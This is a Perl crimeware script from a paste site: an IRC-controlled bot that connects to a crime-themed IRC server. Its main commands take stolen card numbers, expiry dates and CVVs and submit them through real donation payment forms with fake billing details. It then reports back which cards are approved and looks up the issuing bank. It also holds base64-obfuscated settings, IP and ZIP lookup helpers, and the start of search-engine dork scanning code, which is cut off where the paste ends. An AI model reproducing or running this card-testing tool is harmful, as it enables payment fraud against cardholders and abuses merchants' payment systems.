SQL SCAN Bot Check

From Sysmooss!, 3 Years ago, written in Perl, viewed 855 times.
URL http://paste.security-portal.cz/view/e49c19f2 Embed
Download Paste or View Raw
  1. #!/usr/lib/perl
  2.     #SQL SCAN Bot Check By Sysmooss!
  3.      
  4.     #Call to standalone modules directory
  5.     BEGIN{push(@INC,'Modules');}
  6.      
  7.     #Modules Inclusion
  8.     use LWP::Socket;
  9.     use LWP::UserAgent;
  10.     use HTTP::Request;
  11.     use Parallel::ForkManager;
  12.     use MIME::Base64 ();
  13.     use WWW::Mechanize;
  14.     use WWW::Mechanize::FormFiller;
  15.      
  16.     $| = 1;
  17.      
  18.      
  19.     #Defines global variable/array
  20.     my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
  21.     my(@chans,@admins,@user_agents);
  22.      
  23.      
  24.     # Configurations Variable
  25.     my $outcri = "Mg==";
  26.     $systemcri = MIME::Base64::decode($outcri);
  27.     $timeout       = $systemcri;
  28.     my $hostcri = "ODcuMjM2LjE5NC42OQ==";
  29.     $systemcri = MIME::Base64::decode($hostcri);
  30.     $hosting        = "irc.crimeircd.net";
  31.     $port          = 6667;
  32.     my $nkpro = "md-chk";
  33.     $ident         = "chk";
  34.     $parallel_fork = 15;
  35.     my @botcmd = ('1');
  36.     @chans = ("#miguel2");
  37.     my $proo = "ZGV2aWw=";
  38.     $systempro = MIME::Base64::decode($proo);
  39.     my $cheataer = "ZGV2aWw=";
  40.     $sistempro = MIME::Base64::decode($cheataer);
  41.     @Sysmooss = ($systempro,$sistempro);
  42.     @user_agents = &get_user_agents();
  43.      
  44.     #Irc Socket Connection
  45.     my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
  46.     $sysircuno = MIME::Base64::decode($startirc);
  47.     $irc_socket = new LWP::Socket;
  48.     $irc_socket->connect($hosting,$port);
  49.     $irc_socket->write("USER ".$ident." 8 * : chk BoT By mindfreak \r\n");
  50.     $irc_socket->write("NICK ".$nkpro."\r\n");
  51.     $irc_socket->write("NICKSERV IDENTIFY 123456\r\n");
  52.     $irc_socket->write("JOIN $chans[0]\r\n");
  53.     $irc_socket->write("JOIN $chans[1]\r\n");
  54.     $irc_socket->write("JOIN $chans[2]\r\n");
  55.     $irc_socket->write("JOIN $chans[3]\r\n");
  56.     $irc_socket->write("JOIN $chans[4]\r\n");
  57.     $irc_socket->write("JOIN $chans[5]\r\n");
  58.      
  59.     while($irc_socket)
  60.     {
  61.             my $bof;
  62.             $irc_socket->read_until("\n", \$bof);
  63.             if($bof =~ /PING :(.*)/)
  64.             {
  65.                     $irc_socket->write("PONG :$1\r\n");
  66.             }
  67.      
  68.             if($bof =~ /PRIVMSG (.*?) :(.*)/)
  69.             {
  70.                     #PRIVMSG
  71.                     my %msg = &get_msg($bof);
  72.                     if($msg{'what'} =~ /\!join_all/)
  73.                     {
  74.                             if(&ctrl_admin(\%msg) == 0){
  75.                                     &respond_to_privmsg(\%msg,"15[7JOIN15]12 ALL KNOWN CHANNELS");
  76.                                     &join_all();
  77.                             }
  78.                     }
  79.                     if($msg{'what'} =~ /\!cambiarcmd (.*)/){
  80.                     my $comma = $1;
  81.                             if(&ctrl_admin(\%msg) == 0){
  82.                                     &respond_to_privmsg(\%msg,"15[7SERViCES15]12 CHANGiNG COMMAND STRING TO !sql${botcmd}");
  83.                                     &canghecmd($comma);
  84.                             }
  85.                     }
  86.      
  87.                     if($msg{'what'} =~ /\!cmd/){
  88.                  &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Bot Checker cc v1.0 1515:9:15: 14) 15:::14Powered by 9mindfreak15:::");
  89.                            &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Owner Bot 15:9:15: 14) 15:::9mindfreak15:::");
  90.                           &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!chk for 12Visa  04Master07Card  08DISCOVER15::: (ex. !chk <cc num> <exp date> <cvv2> <amount>)");
  91.                                     &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Credit Card 15:9:15: 14) 15:::14 15!amex for 12American Express15:::  (ex. !amex <cc num> <exp date> <cvv2> <amount>)");
  92.                                     &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Location IP 15:9:15: 14) 15:::14 0!ip 15<ip> 14Location Ip and fullinfo15:::");
  93.                                     &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Zip Code 15:9:15: 14) 15:::14 15!zip 15<zipcode> 14See Info of zip code15:::");
  94.     }
  95.      
  96.                    
  97.                    
  98.      
  99.                     if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})\s(\d{1})/)
  100.                     {
  101.                     my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  102.                     my $var1 = substr($expmes,0,2);
  103.                     my $var2 = substr($expmes,2,4);
  104.                     &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
  105.     print "inizio mechanize\n";
  106.     if (substr($numerocarta,0,1)==4) {
  107.     &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12VISA 14(15 Please wait...!14)");
  108.     }
  109.     if (substr($numerocarta,0,1)==5) {
  110.     &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 04Master07Card 14(15 Please wait...!14)");
  111.     }
  112.     if (substr($numerocarta,0,1)==6) {
  113.             &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12DISCOVER 14(15 Please wait...!14)");
  114.     }
  115.     my $agent = WWW::Mechanize->new( autocheck => 1 );
  116.     my $formfiller = WWW::Mechanize::FormFiller->new();
  117.     $agent->env_proxy();
  118.      $agent->get('https://www.sagepayments.net/eftcart/forms/donate.asp?M_id=187914142355');
  119.   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  120.     $agent->form_number(1);
  121. { local $^W; $agent->current_form->value('B1', 'Pay By Credit Card'); };
  122.         $agent->submit('B1');
  123. { local $^W; $agent->current_form->value('C_prefix', 'MR.'); };
  124. { local $^W; $agent->current_form->value('15~RQ~-38~52', '0.10'); };
  125. { local $^W; $agent->current_form->value('C_fname', 'Samuel'); };
  126. { local $^W; $agent->current_form->value('C_lname', 'Lee'); };
  127. { local $^W; $agent->current_form->value('addressLine2', 'Samuel'); };
  128. { local $^W; $agent->current_form->value('Donation_Amount', '0.10'); };
  129. { local $^W; $agent->current_form->value('Other_Amount', '0.10'); };
  130. { local $^W; $agent->current_form->value('Donation_Amount', '0.10 = CHECKED;'); };
  131. { local $^W; $agent->current_form->value('Other_Amount', '0.10'); };
  132. { local $^W; $agent->current_form->value('NAME', 'Samuel Ay'); };
  133. { local $^W; $agent->current_form->value('C_address', '2010 Magnolia Drive'); };
  134. { local $^W; $agent->current_form->value('C_city', 'clevenlad  '); };
  135. { local $^W; $agent->current_form->value('C_state', 'OH'); };
  136. { local $^W; $agent->current_form->value('C_zip', '44106'); };
  137. { local $^W; $agent->current_form->value('C_country', 'US-United States'); };
  138. { local $^W; $agent->current_form->value('csCreditCard_CCName', 'Samuel Anaya'); };
  139. { local $^W; $agent->current_form->value('csCreditCard_CCType', ''.$cctype.''); };
  140. { local $^W; $agent->current_form->value('C_cardnumber', ''.$numerocarta.''); };
  141. { local $^W; $agent->current_form->value('CARDTYPE', ''.$cctype.''); };
  142. #if ($var1=='01') { local $^W; $agent->current_form->value('Exp_Month','1'); };
  143. #if ($var1=='02') { local $^W; $agent->current_form->value('Exp_Month','2'); };
  144. #if ($var1=='03') { local $^W; $agent->current_form->value('Exp_Month','3'); };
  145. #if ($var1=='04') { local $^W; $agent->current_form->value('Exp_Month','4'); };
  146. #if ($var1=='05') { local $^W; $agent->current_form->value('Exp_Month','5'); };
  147. #if ($var1=='06') { local $^W; $agent->current_form->value('Exp_Month','6'); };
  148. #if ($var1=='07') { local $^W; $agent->current_form->value('Exp_Month','7'); };
  149. #if ($var1=='08') { local $^W; $agent->current_form->value('Exp_Month','8'); };
  150. #if ($var1=='09') { local $^W; $agent->current_form->value('Exp_Month','9'); };
  151. #if ($var1=='10') { local $^W; $agent->current_form->value('Exp_Month','10'); };
  152. #if ($var1=='11') { local $^W; $agent->current_form->value('Exp_Month','11'); };
  153. #if ($var1=='12') { local $^W; $agent->current_form->value('Exp_Month','12'); };
  154. { local $^W; $agent->current_form->value('C_month', ''.$var1.''); };
  155. { local $^W; $agent->current_form->value('C_year', ''.$var2.''); };
  156. { local $^W; $agent->current_form->value('C_cvv', ''.$verifica.''); };
  157. { local $^W; $agent->current_form->value('csCreditCard_CCExpDate', ''.$var1.'/20'.$var2.''); };
  158. { local $^W; $agent->current_form->value('C_email', 'benny.d.cruz@gmail.com'); };
  159. { local $^W; $agent->current_form->value('T_amt', 'other'); };
  160. { local $^W; $agent->current_form->value('T_amt1', '0.10'); };
  161. { local $^W; $agent->current_form->value('recurring', 'one_time'); };
  162. $agent->submit("Finalize and Process Donation");
  163. #$agent->submit();
  164. #$agent->submit(        );
  165. #$agent->submit();
  166.       print $agent->content,"\n";
  167.     my $allo=$agent->content;
  168.     if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  169.                                                     my $database = "banklist.txt";
  170.                                                     open FILE,"$database" or die "Errore nell'apertura: $!";
  171.                                                     my @results=<FILE>;
  172.                                                     close FILE;
  173.                                                     my $bankinfo = $1;
  174.                                             &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica  14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your
  175.  
  176. payment!");
  177.     my $nuova = substr($numerocarta,0,6);
  178.     foreach my $url (@results){
  179.     if($url =~ m/$nuova\|(.*)/){
  180.                                             &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  181.     print "card $variable!";
  182.     }
  183.     }
  184.     }elsif ($allo =~/The transaction completed successfully!/){
  185.                                                     my $database = "banklist.txt";
  186.                                                     open FILE,"$database" or die "Errore nell'apertura: $!";
  187.                                                     my @results=<FILE>;
  188.                                                     close FILE;
  189.                                                     my $bankinfo = $1;
  190.                                             &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
  191.     my $nuova = substr($numerocarta,0,6);
  192.     foreach my $url (@results){
  193.     if($url =~ m/$nuova\|(.*)/){
  194.     my $bankinfo = $1;
  195.                                             &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  196.     print "card $variable!";
  197.     }
  198.     }
  199.     }elsif ($allo =~/Credit card expiration date is invalid./){
  200.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
  201.     }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
  202.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
  203.     }elsif ($allo =~/The credit card has expired./){
  204.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
  205.     }elsif ($allo =~/The credit card expiration date entered is not valid./){
  206.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
  207.     }elsif ($allo =~/A duplicate transaction has been submitted./){
  208.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
  209.     }elsif ($allo =~/A duplicate transaction has been submitted./){
  210.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  211.     }elsif ($allo =~/The credit card number entered is not valid./){
  212.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  213.     }elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
  214.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  215.     }elsif ($allo =~/This transaction has been declined./){
  216.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  217.     }elsif ($allo =~/The credit card number is invalid./){
  218.     &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  219.     }
  220.     }
  221.      
  222.     if($msg{'what'} =~ /\!bank\s(\d{6})/){
  223.                     my ($numerocarta) = ($1);
  224.                                                     my $database = "banklist.txt";
  225.                                                     open FILE,"$database" or die "Errore nell'apertura: $!";
  226.                                                     my @results=<FILE>;
  227.                                                     close FILE;
  228.                                                     my $bankinfo = $1;
  229.     my $nuova = substr($numerocarta,0,6);
  230.     foreach my $url (@results){
  231.     if($url =~m/$nuova\|(.*)/){
  232.                                             &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  233.     }
  234.     }
  235.     }
  236.                     if($msg{'what'} =~ /\!raw (.*)/)
  237.                     {
  238.                             my $raw = $1;
  239.                             if(&ctrl_admin(\%msg) == 0){
  240.                                     &respond_to_privmsg(\%msg,"15[7RAW15]12 SENDING IRC RAW REQUESTED");
  241.                                     $irc_socket->write($raw."\r\n");
  242.                             }
  243.                     }
  244.      
  245.                     if($msg{'what'} =~ /\!ip (.*)/)
  246.                     {
  247.                     my ($iploca) = ($1);
  248.     chop($iploca);
  249.                     &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking... 1515:9:15: 14) 0::: $iploca :::");
  250.     print "inizio mechanize\n";
  251.     my $agent = WWW::Mechanize->new( autocheck => 1 );
  252.     my $formfiller = WWW::Mechanize::FormFiller->new();
  253.     $agent->env_proxy();
  254.      
  255.       $agent->get('http://www.ip2location.com/'.$iploca.'');
  256.        $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  257.       print $agent->content,"\n";
  258.     my $ipwork=$agent->content;
  259.     if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICountry\">(.*?)<\/span>/){
  260.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Country 1515:9:15: 14) $1");
  261.    }
  262.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIRegion\">(.*?)<\/span>/){
  263.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Region 1515:9:15: 14) $1");
  264.    }
  265.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblICity\">(.*?)<\/span>/){
  266.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 City 1515:9:15: 14) $1");
  267.    }
  268.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblITimeZone\">(.*?)<\/span>/){
  269.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Time 1515:9:15: 14) $1");
  270.    }
  271.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblINetSpeed\">(.*?)<\/span>/){
  272.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Speed 1515:9:15: 14) $1");
  273.    }
  274.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIISP\">(.*?)<\/span>/){
  275.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 IPS 1515:9:15: 14) $1");
  276.    }
  277.    if ($ipwork =~/<span id=\"dgLookup__ctl2_lblIDomain\">(.*?)<\/span>/){
  278.    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Domain 1515:9:15: 14) $1");
  279.    }
  280.    }
  281.    
  282.    
  283.    
  284.    
  285.                    if($msg{'what'} =~ /\!amex\s(\d{15})\s(\d{4})\s(\d{4})\s(\d{1})/)
  286.                    {
  287.                    my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4);
  288.                    my $var1 = substr($expmes,0,2);
  289.                    my $var2 = substr($expmes,2,4);
  290.                    &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta14)(15 Exp date: 14 $expmes$expanio 14)( 15CCV2: 14$verifica) (15Amount USD: 9 $amount 14)");
  291.    print "inizio mechanize\n";
  292.    if (substr($numerocarta,0,1)==3) {
  293.            &respond_to_privmsg(\%msg,"14,1(15:::0 Status Checking 15::: 14)(15Credit Card: 14$numerocarta) is 12American Express");
  294.    }
  295.    my $agent = WWW::Mechanize->new( autocheck => 1 );
  296.    my $formfiller = WWW::Mechanize::FormFiller->new();
  297.    $agent->env_proxy();
  298.     $agent->get('http://www.hua.edu/donate.php');
  299.       $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  300.      $agent->form_number(1);
  301.      { local $^W; $agent->current_form->value('first_name', 'Chuck'); };
  302.      { local $^W; $agent->current_form->value('last_name', 'Huth'); };
  303.      { local $^W; $agent->current_form->value('address', '11101 Magnolia Drive'); };
  304.      { local $^W; $agent->current_form->value('city', ' Cleveland'); };
  305.      { local $^W; $agent->current_form->value('state', 'Ohio'); };
  306.      { local $^W; $agent->current_form->value('zip', '44106'); };
  307.      { local $^W; $agent->current_form->value('country', 'United States'); };
  308.      { local $^W; $agent->current_form->value('phone', '5778854675'); };
  309.      { local $^W; $agent->current_form->value('email', 'chuckh@gmail.com'); };
  310.      { local $^W; $agent->current_form->value('card_num', ''.$numerocarta.''); };
  311.      { local $^W; $agent->current_form->value('exp_month', ''.$var1.''); };
  312.      { local $^W; $agent->current_form->value('exp_year', ''.$var2.''); };
  313.      { local $^W; $agent->current_form->value('card_code', ''.$verifica.''); };
  314.      { local $^W; $agent->current_form->value('description', 'chuck huth'); };
  315.      { local $^W; $agent->current_form->value('amount', ''.$amount.''); };
  316.      $agent->submit();
  317.      print $agent->content,"\n";
  318.    my $allo=$agent->content;
  319.    if ($allo =~/The transaction has been declined because of an AVS mismatch./){
  320.                                                    my $database = "banklist.txt";
  321.                                                    open FILE,"$database" or die "Errore nell'apertura: $!";
  322.                                                    my @results=<FILE>;
  323.                                                    close FILE;
  324.                                                    my $bankinfo = $1;
  325.                                            &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes $expanio $verifica  14) 9APPROVED! 15Transaction. Amount USD:9 $amount 15Thank you for your
  326.  
  327. payment!");
  328.    my $nuova = substr($numerocarta,0,6);
  329.    foreach my $url (@results){
  330.    if($url =~ m/$nuova\|(.*)/){
  331.                                            &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  332.    print "card $variable!";
  333.    }
  334.    }
  335.    }elsif ($allo =~/The transaction completed successfully!/){
  336.                                                    my $database = "banklist.txt";
  337.                                                    open FILE,"$database" or die "Errore nell'apertura: $!";
  338.                                                    my @results=<FILE>;
  339.                                                    close FILE;
  340.                                                    my $bankinfo = $1;
  341.                                            &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica $amountUSD 14) 9APPROVED! 15Transaction. Thank you for your payment.");
  342.    my $nuova = substr($numerocarta,0,6);
  343.    foreach my $url (@results){
  344.    if($url =~ m/$nuova\|(.*)/){
  345.    my $bankinfo = $1;
  346.                                            &respond_to_privmsg(\%msg,"14,1(15:::0 Bank 15::: 14)7$nuova 15$1");
  347.    print "card $variable!";
  348.    }
  349.    }
  350.    }elsif ($allo =~/Credit card expiration date is invalid./){
  351.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 is invalid.");
  352.    }elsif ($allo =~/The transaction has been declined because of an AVS mismatch./){
  353.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED");
  354.    }elsif ($allo =~/The credit card has expired./){
  355.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 4 $expmes$expanio 14$verifica)15 The credit card has expired.");
  356.    }elsif ($allo =~/The credit card expiration date entered is not valid./){
  357.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Expiration Date: 14 14$expmes$expanio 14)15 Not is Valid.");
  358.    }elsif ($allo =~/A duplicate transaction has been submitted./){
  359.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 A duplicate transaction has been submitted.");
  360.    }elsif ($allo =~/Unfortunately, we were unable to process the transaction using the payment information you provided./){
  361.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  362.    }elsif ($allo =~/The credit card number entered is not valid./){
  363.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  364.    }elsif ($allo =~/This transaction has been declined./){
  365.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  366.    }elsif ($allo =~/An error has occured. This transaction cannot be processed./){
  367.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta $expmes$expanio $verifica 14) 4DECLINED!");
  368.    }elsif ($allo =~/The credit card number is invalid./){
  369.    &respond_to_privmsg(\%msg,"14,1(15:::0 Result is 15::: 14) (15Credit Card: 14 14$numerocarta 14)15 Credit Card is 4INVALID");
  370.    }
  371.    }
  372.    
  373.    
  374.                    if($msg{'what'} =~ /\!zip\s(\d{5})/)
  375.                    {
  376.                    my ($zipcheck) = ($1);
  377.                    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck ::: please wait...");
  378.    print "inizio mechanize\n";
  379.    my $agent = WWW::Mechanize->new( autocheck => 1 );
  380.    my $formfiller = WWW::Mechanize::FormFiller->new();
  381.    $agent->env_proxy();
  382.    
  383.      $agent->get('http://zip4.usps.com/zip4/citytown_zip.jsp');
  384.       $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  385.      { local $^W; $agent->current_form->value('zip5', ''.$zipcheck.''); };
  386.      $agent->submit();
  387.      print $agent->content,"\n";
  388.    my $zipse=$agent->content;
  389.    if ($zipse =~/headers=\"pre\"><b>(.*?)<\/b><\/td>/){
  390.    $luogo = $1;
  391.                    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $luogo ::: ");
  392.    }
  393.    elsif ($zipse =~/The ZIP Code you entered could not be found in our database/){
  394.                    &respond_to_privmsg(\%msg,"14,1(15:9:15:0 Checking Zipcode 1515:9:15: 14) 0::: $zipcheck Not found! ::: ");
  395.    }
  396.    }
  397.    
  398.    
  399.    
  400.                          
  401.    
  402.                  
  403.    }
  404.    }
  405.    
  406.    sub ctrl_admin()
  407.    {
  408.            my $data = $_[0];
  409.            foreach my $admin ( mindfreak )
  410.            {
  411.                    if($admin eq $data->{'from'})
  412.                    {
  413.                            return(0);
  414.                    }
  415.            }
  416.            &respond_to_privmsg($data,"15[4BLOCK15]1 YOU ARE NOT ADMIN");
  417.            return(-1);
  418.    }
  419.    
  420.    sub respond_to_privmsg()
  421.    {
  422.            my ($data,$m) = ($_[0],$_[1]);
  423.            if($data->{'to'} =~ /#/)
  424.            {
  425.                    &privmsg($data->{'to'},$m);
  426.            }
  427.            else
  428.            {
  429.                    &privmsg($data->{'from'},$m);
  430.            }
  431.    }
  432.    
  433.    sub privmsg()
  434.    {
  435.            my($nick,$send) = @_;
  436.            $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
  437.    }
  438.    
  439.    sub join_all()
  440.    {
  441.            foreach my $chan ( @chans )
  442.            {
  443.                    $irc_socket->write("JOIN ".$chan."\r\n");
  444.            }
  445.    }
  446.    
  447.    sub get_msg()
  448.    {
  449.            my $line = $_[0];
  450.            my %data;
  451.            #:Mic22!~TheClanz-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
  452.            if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
  453.            {
  454.    #$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
  455.                     $data{'from'} = $1;
  456.                     $data{'to'}   = $3;
  457.                     $data{'what'} = $4;
  458.             }
  459.             return(%data);
  460.     }
  461.      
  462.     sub http_request()
  463.     {
  464.             my($site,$request,$ua,$resp,$cnt);
  465.             $site    =  $_[0];
  466.             $site    =~ s/[\r\n]//g;  
  467.             $request =  HTTP::Request->new(GET => $site);
  468.             $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
  469.             $ua->timeout($timeout);
  470.             $resp    =  $ua->request($request);
  471.             $cnt     =  $resp->content();
  472.             return($cnt);
  473.     }
  474.      
  475.     sub get_user_agents()
  476.     {
  477.             my @us_ag = (
  478.             "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
  479.             "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
  480.             "Opera/8.5 (X11; Linux i686; U; cs)",
  481.             "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
  482.             );
  483.             return(@us_ag);
  484.     }
  485.      
  486.     sub get_all_host()
  487.     {
  488.             my $site =  $_[0];
  489.             my @dirs =  ();
  490.             my @ret  =  ();
  491.             my $tmp  =  "";
  492.             $site    =~ s/http:\/\///g;
  493.             $site    =~ s/[\r\n]//g;
  494.             $site    =~ s/\/\///g;
  495.             if($site !~ /\/$/)
  496.             {
  497.                     $site .= "/";
  498.             }
  499.      
  500.             @dirs = split(/\//,$site);
  501.             $tmp = $dirs[0] . "/";
  502.             push(@ret,$tmp);
  503.            
  504.             for($i = 1; $i < scalar(@dirs); $i++)
  505.             {
  506.                     $tmp .= $dirs[$i] . "/";
  507.                     push(@ret,$tmp);
  508.             }
  509.            
  510.             return(@ret);
  511.     }
  512.      
  513.     sub urlencode()
  514.     {
  515.       my $str = $_[0];
  516.       $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  517.       return $str;
  518.     }
  519.      
  520.     sub unique()
  521.     {
  522.             my @unici = ();
  523.             my %visti = ();
  524.             foreach my $elemento (@_) {
  525.                     $elemento =~ s/\/+/\//g;
  526.                     next if $visti{$elemento}++;
  527.                     push @unici, $elemento;
  528.             }
  529.             return @unici;
  530.     }
  531.      
  532.     sub find_all_sites()
  533.     {
  534.             my ($data,$dork)  =  @_;
  535.             my $tmp_file_name =  rand(999999) . ".txt";
  536.             my @pids_array    =  ();
  537.             my @data_links    =  ();
  538.             my @site_finded   =  ();
  539.             my @site_cleaned  =  ();
  540.             $dork             =~ s/[\r\n]//g;
  541.            
  542.             &respond_to_privmsg($data,"15[7INFO15]12 START TO FIND ALL SITES FOR \"".$dork."\" ");
  543.      
  544.             $pids_array[0] = fork();
  545.             if($pids_array[0] == 0)
  546.             {
  547.                     @data_links = &google($dork);
  548.                     &respond_to_privmsg($data,"15[7GOOGLE15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  549.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  550.                     exit(0);
  551.             }
  552.            
  553.             $pids_array[1] = fork();
  554.             if($pids_array[1] == 0)
  555.             {
  556.                     @data_links = &yahoo($dork);
  557.                     &respond_to_privmsg($data,"15[7YAHOO15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  558.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  559.                     exit(0);
  560.             }
  561.            
  562.             $pids_array[2] = fork();
  563.             if($pids_array[2] == 0)
  564.             {
  565.                     @data_links = &altavista($dork);
  566.                     &respond_to_privmsg($data,"15[7ALTAVISTA15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  567.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  568.                     exit(0);
  569.             }
  570.            
  571.             $pids_array[3] = fork();
  572.             if($pids_array[3] == 0)
  573.             {
  574.                     @data_links = &msn($dork);
  575.                     &respond_to_privmsg($data,"15[7BiNG15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  576.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  577.                     exit(0);
  578.             }
  579.      
  580.             $pids_array[4] = fork();
  581.             if($pids_array[4] == 0)
  582.             {
  583.                     @data_links = &ask($dork);
  584.                     &respond_to_privmsg($data,"15[7ASK.COM15]12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
  585.                     &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
  586.                     exit(0);
  587.             }
  588.      
  589.             $pids_array[5] = fork();
  590.             if($pids_array[5] == 0)
  591.             {
  592.                     @data_links = &webcrawler($dork);
